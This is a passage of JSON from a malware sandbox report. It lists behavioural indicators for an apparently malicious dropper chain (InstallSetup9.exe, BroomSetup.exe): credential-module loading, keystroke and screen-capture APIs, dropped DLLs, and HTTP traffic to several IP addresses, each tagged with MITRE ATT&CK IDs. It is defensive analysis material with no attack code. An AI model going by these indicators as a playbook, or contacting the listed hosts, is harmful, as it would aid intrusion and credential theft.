\"BroomSetup.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$4b","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"nss9B65.tmp\" has type \"ASCII text with no line terminators\" - Location: [%TEMP%\\nss9B65.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$4c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"Math.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nss9B66.tmp\\Math.dll]- [targetUID: 00000000-00003572]\n \"INetC.dll\" has type \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"- Location: [%TEMP%\\nss9B66.tmp\\INetC.dll]- [targetUID: 00000000-00003572]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$4e","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$4f","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$51","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$52","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$53","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\installsetup9.exe\"\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\288c47bbc1871b439df19ff4df68f076.exe\"\n \"InstallSetup9.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\broomsetup.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"InstallSetup9.exe\" called \"HttpOpenRequestW\" (UID: 00000000-00003572)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"InstallSetup9.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00003572)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002516)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"InstallSetup9.exe\" called \"InternetReadFile\" with parameter 8192 (UID: 00000000-00003572)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"InstallSetup9.exe\" called \"InternetOpenA with parameter NSIS_Inetc (Mozilla)\" (UID: 00000000-00003572)\n \"InstallSetup9.exe\" called \"InternetOpenW with parameter NSIS_Inetc (Mozilla)\" (UID: 00000000-00003572)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /?format=dfg\"\n Found http requests in header \"GET /r/r4.crl\"\n Found http requests in header \"GET /we1/4y3jdVkomeg.crl\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreateNamedPipeA\" (Indicator: \"CreateNamedPipe\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Contains ability to interact with Microsoft Outlook","description":"Observed string: \"Microsoft.Office.Interop.Outlook\" [Source: 00000000-00001156.00000000.81939.00490000.00000004.mdmp\n 00000000-00001156.00000001.82229.00490000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1559.001","relevance":1,"id":"string-196","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"Found reference to API \"EnumPrintersW\" (Indicator: \"EnumPrinters\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"EnumPrintersW\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserGetInfo\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionW\" (Indicator: \"InternetQueryOption\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"InternetQueryOptionW\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; Source: \"00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Contains references to the retrieval of internet session handle (imports API)","description":"Found InternetQueryOptionW in import section (Source: INetC.dll)","origin":"Static Parser","mitre_attack_id":"T1016","relevance":1,"id":"static-206","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 104.26.13.205 on port 80\n HTTP traffic to 91.92.255.226 on port 80\n HTTP traffic to 185.172.128.53 on port 80\n HTTP traffic to 5.42.64.35 on port 80\n HTTP traffic to 142.250.217.227 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"ten.sdapop.evres\" [Source: 00000000-00003572.00000001.84328.00610000.00000004.mdmp\n 00000000-00003572.00000002.84706.00610000.00000004.mdmp]\n Observed email domain:\"www.gmx.net\" [Source: 00000000-00003572.00000001.84328.00610000.00000004.mdmp\n 00000000-00003572.00000002.84706.00610000.00000004.mdmp]\n Observed email domain:\"www.mail.google.com0\" [Source: 00000000-00003572.00000001.84328.02710000.00000004.mdmp\n 00000000-00003572.00000002.84706.02710000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$56","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"GET /19nVA4 HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00003572.00000001.84328.00610000.00000004.mdmp\")\n Found string \"T /19nVA4 HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00003572.00000002.84706.00610000.00000004.mdmp\")\n Found string \"T /we1/4y3jdVkomeg.crl HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00003572.00000002.84706.00610000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00003572.00000002.84706.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /?format=dfg HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: api.ipify.org\nConnection: Keep-Alive\nCache-Control: no-cache\n\n GET /r/r4.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: c.pki.goog\n\n GET /we1/4y3jdVkomeg.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: c.pki.goog\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 5182f54f9c6e99d117d9dde3fa2b4cff","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"iplogger.com\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.188.178\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Compress data using CryptoPP library","description":"YARA signature for compress data function process \"00000000-00004256\"","origin":"YARA Signature","mitre_attack_id":"T1560.002","relevance":1,"id":"yara-179","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to empty the recycle bin (API string)","description":"Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; Source: \"00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-111","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Ransomware/Banking","name":"Imports SHEmptyRecycleBin API","description":"Observed import api \"SHEmptyRecycleBin\" which can \"empty the Recycle Bin on the specified drive\" [Source: BroomSetup.exe]","origin":"Static Parser","mitre_attack_id":"T1070","relevance":1,"id":"static-84","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSQuerySessionInformationA\" (Indicator: \"WTSQuerySessionInformation\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"WTSQuerySessionInformationW\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp\")\n Found reference to API \"WTSQuerySessionInformationW\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$57","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$58","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: Math.dll]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \"er Instance=true\" providerName=\"System.Data.SqlClient\"/>\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00001156.00000000.81939.00490000.00000004.mdmp\"), Found string \"e\" providerName=\"System.Data.SqlClient\"/>\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00001156.00000000.81939.00490000.00000004.mdmp, 00000000-00001156.00000001.82229.00490000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve the valid logical drives on the computer","description":"Observed import api \"GetLogicalDriveStringsW\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: BroomSetup.exe]","origin":"Static Parser","mitre_attack_id":"T1083","relevance":5,"id":"static-192","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" tries to directly access volume data \"C:\"\n \"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" tries to directly access volume data \"Z:\"\n \"InstallSetup9.exe\" tries to directly access volume data \"C:\"\n \"InstallSetup9.exe\" tries to directly access volume data \"Z:\"\n \"BroomSetup.exe\" tries to directly access volume data \"C:\"","origin":"API Call","mitre_attack_id":"T1006","relevance":1,"id":"api-306","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at 73000000\n \"288c47bbc1871b439df19ff4df68f076.exe\" loaded module \"%WINDIR%\\System32\\samlib.dll\" at 73BA0000\n \"BroomSetup.exe\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at 73000000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"InstallSetup9.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"8\"\n \"th32ProcessID\": \"0\"}\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}\n \"BroomSetup.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"InstallSetup9.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"GetNativeSystemInfo\" with parameters 